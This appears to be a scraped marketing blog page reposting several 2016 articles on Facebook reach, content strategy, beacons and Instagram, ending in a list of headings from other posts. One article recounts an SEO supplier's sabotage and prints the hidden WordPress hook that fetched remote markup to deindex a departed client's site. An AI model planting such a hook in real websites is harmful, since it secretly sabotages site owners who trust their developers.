Facebook News Feed update: how #Friendmageddon will affect publishers

June 30, 2016Addiction Marketing Group Leave a comment

Facebook has announced a new change to its News Feed algorithm, favouring personal posts over news stories, in an attempt to maintain its personal element. What does this *really* mean for publishers though?

Facebook is all about connecting people with their friends and family and despite attempts to divert from its original concept, it’s not ready yet to leave it aside. That’s why it decided to downplay stories from publishers on users’ news feed, in order to promote more personal stories from their favourite people.

This announcement was not warmly welcomed by publishers, as it means that organic reach will probably drop even more (as if it wasn’t already low) and it will be even more challenging from now on to make it to a user’s news feed.

RIP organic reach?

Organic reach was already on decline over the past few years and even before the latest algorithm change, SocialFlow observed a drop of 42% from January to May, which was alarming for Page managers.

It’s apparent that organic reach was becoming more challenging and only engagement and relevance could improve it. However, if there was already a drop of 42% in posts’ reach from January to May, what could we expect from now on?

Image source: SocialFlow

If Facebook is further promoting personal stories over news and brand posts, will we even able to talk about organic reach anymore?

Facebook confirmed in its announcement the possibility of seeing a reduced organic traffic:

“Overall, we anticipate that this update may cause reach and referral traffic to decline for some Pages. The specific impact on your Page’s distribution and other metrics may vary depending on the composition of your audience. For example, if a lot of your referral traffic is the result of people sharing your content and their friends liking and commenting on it, there will be less of an impact than if the majority of your traffic comes directly through Page posts. We encourage Pages to post things that their audience are likely to share with their friends.”

Publishers are starting to worry about the recent change and this brings about the need to re-evaluate their content strategy, in an attempt to maintain a successful Facebook presence.

Aiming for value and relevance

In Facebook’s own words:

“The goal of News Feed is to show people the stories that are most relevant to them.”

It’s not just about promoting personal stories then, but it’s also about highlighting the content that is relevant for every user. This means that Pages may still maintain their organic reach, provided they understand their audience.

It is becoming more important than ever for a publisher (and any Facebook Page) to post informative and relevant content for its audience, in a way that it will maintain engagement and ensure posts are still visible on News Feeds.

More over, shareable content, what we also call ‘viral’, will still be important, as this is the organic way to ensure that a page’s reach is increased. Creative, unique and authentic content is always appreciated and this is the only way to maintain the organic reach in the post-algorithm era.

This may require a more extensive analysis of the Page and each post’s performance, although we assume that native videos will still be more important than other types of content. Facebook was quite clear on its preference of native content so this might be a good start for your experimentation over the forthcoming months.

Source: Buzzfeed Pound data

Pay for traffic

It is inevitable that publishers will follow marketers in the ‘pay to play’ game on Facebook, in order to maintain their reach, but is every publisher able to do so? And what does this mean for smaller sites?

It won’t be an easy task for a small publication to maintain a Facebook presence without paying to promote (or boost) a post. This doesn’t mean that every small publisher should abandon Facebook, but it may become more challenging and there’ll be a need for more creative solutions.

Maybe it’s the right time for every publisher to understand that heavily depending on Facebook for traffic is not working anymore and it might be a good idea to consider further options, or simply to focus on other aspects of content marketing.

A change in news consumption?

A recent survey by Pew Research Center indicated that 62% of US adults are using social media to keep up with the news and Facebook is by far their first choice, with 67% of them using it for their news updates.

Image source: Pew Research Center

After the News Feed update, people won’t see the same amount of news stories on their feed and will ultimately affect the success of publishers’ posts.

Beware, this is not the end for publishers on Facebook, but it does call for more authentic, interesting, appealing, engaging content, rather than circulating the same old story across all publications.

Once again, big publishers will probably be less affected by this update, due to the authority, the budget and the engagement they already have.

People will not stop consuming content through Facebook, all publishers need to do is find is the right way to ‘get access’ to their users’ feeds.

(Hopefully the focus on engagement and virality will not lead to posts of lower quality, simply seeking to grab the audience’s attention)

Boosting the “echo chamber”

Another issue to consider is the filter bubble that Facebook has built over the year and how it only grows bigger with all the updates.

People are exposed to people, posts, stories that are relevant to their interests, their beliefs, their experiences and this ultimately affects their broader perception of the world.

Eli Pariser mentioned in his book ‘The Filter Bubble: What the Internet is Hiding From You’ back in 2011:

“Your computer monitor is a kind a one-way mirror, reflecting your own interests while algorithmic observers watch what you click.”

Meanwhile, Facebook published a post on its News Feed Values and mentions among others:

“Our aim is to deliver the types of stories we’ve gotten feedback that an individual person most wants to see. We do this not only because we believe it’s the right thing but also because it’s good for our business. When people see content they are interested in, they are more likely to spend time on News Feed and enjoy their experience.”

This sums up its concept, the news feed updates and how our news consumption is changing. As more and more people use the platform to keep up with the news, and as Facebook keeps pushing personal and relevant stories, publishers are also becoming part of a changing reality, which affects both the creation, but also the distribution of their future stories.

What’s the next step for publishers on Facebook?

There’s no need to panic (yet) regarding Facebook’s new update, but it may be a good idea to start examining your audience and the reactions your posts trigger, in order to be ready to deal with the new #Friendmageddon.

Every site will feel the need to analyse its current marketing practices, in order to spot the opportunities for further development to maintain the referral traffic that Facebook may offer.

Whether you already have an engaged audience or not, Facebook kindly reminded us once again that nothing is for granted. Time to adjust our social practices once again then.

via Search Engine Watch http://ift.tt/297LXqH

6 Steps to Your Best Content-Marketing Strategy

June 30, 2016Addiction Marketing Group Leave a comment

Content marketing is an increasingly popular strategy for online brand success, and content budgets are still growing, with no signs of lost momentum. Why? Part of the reason lies with content marketing’s multifaceted benefits: from the increased brand reputation it offers, to improved SEO and social-media effectiveness.

The other reason for content marketing’s popularity is the increased ease of entry into the field itself, since all you now need are some original ideas and a decent means of execution — or do you?

The trap most people fall into is thinking that content marketing is easy, or that they can improvise their way through it. In reality, if you want any hope of being successful, you need a strategy to back your material — and it needs to be a good one.

Why you need a formal strategy

Why do you need to rely on a strategy, rather than just your whims and writing abilities?

Direction and targeting. You aren’t writing for everyone; you need to find and target a specific niche, and that means conducting extensive market research to uncover the most appropriate targets. You’ll also need to do competitive research to find out where your competitors are at, and how to overcome them.
Accurate measurement and analysis. Without a formal strategy, you’ll have no basis for comparison or a foundation by which you can measure your success. For example, how can you tell how successful you’ve been in earning more traffic if you never set a goal for it in the first place?
Consistent execution and clear responsibilities. You aren’t doing this alone (or at least, you shouldn’t be). A formal strategy helps you divide the lines of responsibility and establish clear directives for each party involved.

The following steps provide a high-level overview of a much deeper dive into content marketing from my ebook, The All-in-One Guide to Planning and Launching a Content Marketing Strategy.

Step 1. Market research

Before you even think about writing your strategy, do your market research. Hopefully, your company already has a target demographic for its products and services, so you can start there. But let’s dig a little deeper.

What is the disposition of your customers when they encounter your blog? Where are they in the buying cycle? More conceptually, what is it they want or need? What are they looking for? What problem do they need help solving? Conduct surveys and monitor social activity to help you find the answers to these questions.

Step 2. Competitive research

It’s not enough to know where your readers are — you also need to be aware of your competitors. What are they currently doing in terms of content marketing? Are they aggressively pursuing your target demographics? Are they neglecting any fundamental components of a successful content strategy?

You’ll want to look for offensive and defensive opportunities here. For example, look for underdeveloped areas you can exploit, as well as key strengths you need to guard against.

Step 3. Goal-setting

With your competitive and market research out of the way, you can start setting goals for your content strategy. And here you’ll have to get far more specific than just “success.” Are you looking to increase conversions primarily? Or increase traffic instead? Are you focusing on attracting new customers, or keeping the ones you already have?

There’s no right or wrong answer here, and you can have multiple goals at once, but make them specific, pointed, and actionable. You’ll also want to break them down into sub-goals, tied to individual actions like the number and type of posts you’ll produce each week, and how you’ll scale in the near future.

Step 4. Set a budget.

With your main goals and sub-goals outlined, you can begin drafting a budget for your overall campaign. Alternatively, if you already have a set budget from a supervisor or someone higher up the chain, you can start shaping your goals to match what that budget is capable of achieving, and request changes in funds if necessary.

Step 5. Allocate your priorities and resources.

Your budget distribution should be the next item on the list; and for that, you’ll need to set your biggest priorities and allocate resources accordingly. For example, do you want to build up a social audience first, or focus exclusively on onsite content until you have a suitable archive on display? Who’s going to be writing these posts, and how much of your time should be spent on that?

Are you going to be working with any outside agencies, contractors or freelancers, or will this all be taken care of by your in-house team? Clarify responsibilities and division of labor proactively and in great detail. That way, there’s no ambiguity later.

Step 6. Add accountability.

Finally, you’ll need to add a layer of accountability across the board for your strategy. How are you going to measure your progress? When are you going to measure it? Who’s responsible for various items if they aren’t executed or haven’t been executed properly? If your execution deviates from the main strategy, who’s going to take responsibility for course-correcting, and what if your entire strategy needs to be revisited? These are important questions to address from the beginning.

Creating a content-marketing strategy isn’t easy, and isn’t something you should try to scrap together in an afternoon. Take your time, do your research and settle on your tactics only once you’re sure that they’re the right ones for your brand.

There’s always room for your strategy to change, but you’ll want to come out of the gates as strong as possible, to start building momentum and reap the best possible results as soon as you can.

Vía Entrepreneur: Latest Online Marketing Articles http://ift.tt/29avccf

Why you may need to be aware of booby traps when hiring a new SEO

June 30, 2016Addiction Marketing Group Leave a comment

The online marketing world can be somewhat of a wild west in many regards, with SEO at the center of the chaos.

Of the thousands of providers across Australia there are no shortages of promises, case studies and packages available for every business size. The central premise of SEO is that you will get long-term sustained traffic for your investment.

The industry as a whole has a simple paradox that it must deal with, if they do their job properly, they are theoretically not needed anymore, and then stand to lose a customer. Meanwhile, if they do not do their job properly they are guaranteed to lose a customer.

Within 24 hours of one of my SEO clients deciding they were happy enough with their rankings and deciding to pull out of their retainer, one of my other clients had finally finished their 12-month web design and SEO package with their initial provider.

As I was asking myself “how can I adapt my business to allow for sudden client satisfaction,” my other clients were in the process of having their site migrated to my server.

I arrived at my client’s office to begin a day’s work, and we checked the rankings for their site. The migration had been completed a few days prior and had gone through smoothly.

That abysmal feeling of dread came, as we saw that the site couldn’t be found nestled in its top positions for any of it’s search terms anymore.

The weird thing, as I checked for manual penalties or de-indexation by searching site:example.com, it became apparent that not every page had been dropped. Only the homepage so far.

This at least narrowed the search down, and meant that I could check the source code for the homepage, and see if there was anything odd going on.

Sure enough, there it was:

<meta name= “robots” content=”noindex,follow”/>

This line of code tells Google and other search engines to remove the website from their index, rendering it unfindable. It has its time and place in day-to-day web design and marketing, but clearly does not belong on the homepage of a website that is trying to gain traffic and potential customers.

I decided to fix the problem first and then later deal with the lingering question of ‘why has this code suddenly turned up?’

Once the hunt had begun for where exactly this code was generating from, I became less and less convinced that this was some sort of accident.

Searching within any of the website files for ‘noindex’ turned up nothing, almost like the code wasn’t actually in there anywhere. Even downloading the entire set of website files and running them through a dedicated file searching tool, we couldn’t find a single instance of ‘noindex’ anywhere within the website.

Sure enough though, the noindex code was in there somewhere, and not just the front page it would seem. Google had dropped the front page but had not yet gotten around to deindexing the rest of the pages, even though every page had the code.

The webhosting company that oversaw the migration assured me that they had simply taken the site files and placed them on a server, never touching any of the code. They joined the hunt.

We eventually discovered the source of the code; it was both ingenious and simple.

I received an email from the developer in charge of migrating the site:

We have looked through the code and found the following lines in the themes functions.php file…

add_action(‘wp_head’,’sidebar_config’, 1, 3);
function sidebar_config()
{
$output = file_get_contents(‘http://robots.clients.(*previous suppliers domain*).com.au/’);
echo $output;
}

Disabling only these has resulted in the nofollow,noindex disappearing.

Note that this specifically references to connect to and retrieve a file from robots.clients.(*previous suppliers domain*).com.au and then output the code into your site.”

As I spoke with the developer, he informed me, that this code is only triggered if the site is no longer being hosted on the previous supplier’s website.

The previous suppliers dismissed it as a mistake, initially trying to tell me that it must have happened during the migration, and then later saying that they may have accidentally left the code in there, who knows.

One thing is for sure, these guys who have been in business much longer than I have, know their game well.

When a client drops me, I ask myself “what could I have done to keep them happier?” and “should I perhaps package my services better?”

When a client drops them, their entire site gets deindexed.

I think I prefer the soul-searching quest to provide value that people don’t walk away from, rather than the vindictive attempt to hedge a sites rankings to my server.

via Search Engine Watch http://ift.tt/29hVxEx

How are beacons going to affect search marketing?

June 30, 2016Addiction Marketing Group Leave a comment

Recently I’ve been reading a lot about the effects beacons and proximity marketing may have on search strategy.

(I actually work for a company that makes beacons and management software, so it’s not just me being boring).

I’ve found little doubt that it will bring some very fundamental changes to the way we reach customers, and the type of targeting and data management we’ll need to master in order to do things properly.

Although perhaps not in the way you might think…

Improving proximity results

Search Engine Watch has spoken about beacons a lot in the past, but just in case you need a refresher, a beacon is a tiny device that can transmit a signal to any Bluetooth device in range – phones, fitness bracelets, headphones, smartwatches etc.

Usually this happens through an app (although Google in particular are taking steps to remove this friction and enable direct device communication), and before the privacy police wade in, it’s all completely opt-in.

It certainly has some obvious ramifications for local search.

In the past, we’ve largely been limited to areas defined by map coordinates for localisation. These are fine for locating buildings, but not so hot once people actually enter a space.

Beacons have a big advantage here because they get that location down to an area a couple of metres across, and they allow you to transmit and receive data in realtime. If I’m standing by the apples in your supermarket, you can fire me a coupon.

I’m using that example on purpose by the way, and I’ll explain why in a moment.

Beacons don’t need to be interruptive

For marketers, there seems to be an assumption that beacons are an interruptive marketing tool.

Retail couponing is the most obvious use-case after all, but just as early ecommerce sites learned, couponing is no way to build a successful business. And as the publishing industry is learning, interruptive marketing… just isn’t very good really. People don’t like it in most cases.

As I say though, this is only an assumption. The real value of beacons is actually almost the complete opposite of interruptive.

It is in contextual interactions, which usually rely on either an active request from a user, or passive scanning and data aggregation by the person deploying the beacons.

In other words, if I visit a museum, download it’s app and enable push notifications while I’m there, then I’m actively searching for information abut my location.

If not, then I can still be monitored as an anonymous device that is moving around the museum. Once this data is collected, there is a lot of potential value. Maybe it’s time to move that Rodin statue to a more prominent position (possibly next to the gift shop).

Search will need to become hyper-relevant in an open beacon marketplace

So what does this mean for search?

Currently, a lot of local search isn’t that great. There are plenty of fine examples, but there is certainly an adoption curve, particularly for small businesses.

Do a quick search for something like ‘Bike shop, Shrewsbury’ and you can usually see which businesses have a lot of low-hanging SEO fruit that they just aren’t optimising for.

This is a missed chance, but it is usually being missed because of a lack of familiarity and time. People who are busy running a hardware store don’t often have time or money to really concentrate on good SEO.

As beacon deployment becomes more widespread (and it is going to be), this situation is going to change for the user on the ground. App networks and beacons deployed as general infrastructure in more locations mean that local optimisation is opened up to more players, with more resources. Why should our local bike store be wasting time optimising when Raleigh can be doing it for them?

Local SEO will begin to be a wider concern not for the locations themselves, but for the companies that sell through those locations. And those companies have the resources and processes available to start doing a really good job.

There is however, still a place for the location itself in all this, and that is in adding contextual value, which may not come from purely commercial campaigns.

Recently I visited Edgelands at the Barbican in London, where one of our clients has deployed beacons that guide visitors around the interesting (and slightly confusing) internal space.

The interesting thing here is that it occurs through sound, so that visitors are able to view their surroundings, rather than keeping their eyes glued to their phone screens. It adds context while keeping the visitor engaged with the physical space, rather than having the two vie for attention.

With the rise of experience stores, this is going to become a more important point of differentiation over the next few years. Customers won’t want distracting alerts and pop-ups, they’ll want something that provides a richer experience.

From the marketing side, providing these will become a way to deepen brand affinity as much as increase immediate sales.

Search is about to leave its silos behind

This makes location a strange, mixed bag for search. On one side, brands providing advertising through app networks and beacon fleets owned by third parties (in my opinion, telcos are currently best placed to handle and benefit from large scale deployment, as they already have large data networks and physical locations).

In many cases, this will be about hyper-localised PPC campaigns. On the other, locations providing realtime SEO, with a shifting set of keywords based on whatever is currently happening in-store (or in-museum, or in-restaurant for instance).

It means that we’ll have to get better at aligning our data and working out which signals really matter, and we’re going to need to get insanely good at management and targeting.

I hate to use this word, but search will need to become more holistic, and even more aligned with marketing. There’s a huge opportunity here for search marketers, customer experience, data management and more.

via Search Engine Watch http://ift.tt/2959asB

18 best branded Instagram videos of 2016 (so far)

June 30, 2016Addiction Marketing Group Leave a comment

Instagram’s the best. Where else can you find out the best place to get a hipster kebab AND take a terrifying white-water raft ride AND be subjected to endless Kardashian selfies all in a single scroll.

Snapchat, Twitter, Facebook… yeah yeah, sure, alright, shut up. But still, Instagram is one of the best places for brands to experiment with short-form video, without wading through the millennial mire that is Snapchat.

And now that Instagram allows you a full minute to play with, along with a choice of any image ratio, the only restraints you have are the ones caused by your own lack of imagination.

That’s where we come in…

These are some of the best Instagram videos from the last six months, collected to inspire and motivate you. Although if you’re only inspired by the Red Bull one, you’ll just be motivated to ring for an ambulance.

GoPro

One man lost his eyesight, the other his arms, but together they’ve teamed up to plant over 1,000 trees. What did you do today? Read an article about branded Instagrams. Good for you. Have another biscuit.

One man lost his eyesight, the other his arms, but together they've teamed up to plant over 1,000 trees, helping to preserve their forest in rural #China. This goes beyond pollution, climate and Mother Nature, this is a story proving anyone + everyone can change the world. Follow the link in our bio for the full story. #GoPro #GoProForaCause # #instagood #inspiration #feelgood

A video posted by gopro (@gopro) on Jun 23, 2016 at 2:54pm PDT

RIP organic reach?

Aiming for value and relevance

Pay for traffic

A change in news consumption?

Boosting the “echo chamber”

What’s the next step for publishers on Facebook?

Why you need a formal strategy

Step 1. Market research

Step 2. Competitive research

Step 3. Goal-setting

Step 4. Set a budget.

Step 5. Allocate your priorities and resources.

Step 6. Add accountability.

Improving proximity results

Beacons don’t need to be interruptive

Search will need to become hyper-relevant in an open beacon marketplace

Search is about to leave its silos behind

GoPro

Red Bull

General Electric

LEGO

National Geographic

Coca-Cola

Playstation

Ikea

Nike

Intel

Firebox

NASA

Guinness World Records

McDonald’s

Flixel

Old Spice

Oreo

Creepy Co.

Can you tell us a little about your role at Google?

What does digital transformation mean to you?

What should the first steps be in a process of digital transformation?

Should companies centralise digital functions, or should these be distributed across various teams/departments? What are the pros and cons?

How much of digital transformation is about technology and how much is about culture?

There are many obstacles facing brands as they examine new digital tactics and technology (e.g. legacy systems). How do you drive digital transformation in such an environment?

Which companies do you see as great examples of businesses which have embraced digital? What are the common factors in their approaches?

Where does data fit into digital transformation?

The most common backlinks are natural

Link volume does not influence ranking

Variety of linking domains helps

Longer content and high rankings

Link building tactics that still work

Good content still works

Dodgy tactics can still work

In summary

1. Check your site’s organic CTR, revise 10 of the lowest performing page’s title tags and meta descriptions

2. Add Schema markup to 10 most popular pages

3. Improve your site speed by optimising images

4. Check the proper canonicalization of your domain

5. Verify your Google My Business page, make sure your details are up to date

6. Check that you don’t have any duplicate meta description and title tags

7. Keep on top of your image alt tags

8. Check your 404 error codes

9. Keep on top of your internal linking

Bundling together anagrams and regional spellings

Lumping together plurals and phrases without spaces

1. Build your ads around your overall marketing strategy.

2. Make the images central to the campaign.

3. Use keywords and hashtags.

4. Use your social media statistics.

5. Test your ad campaigns.

To be effective, your Instagram ads need to tell a story.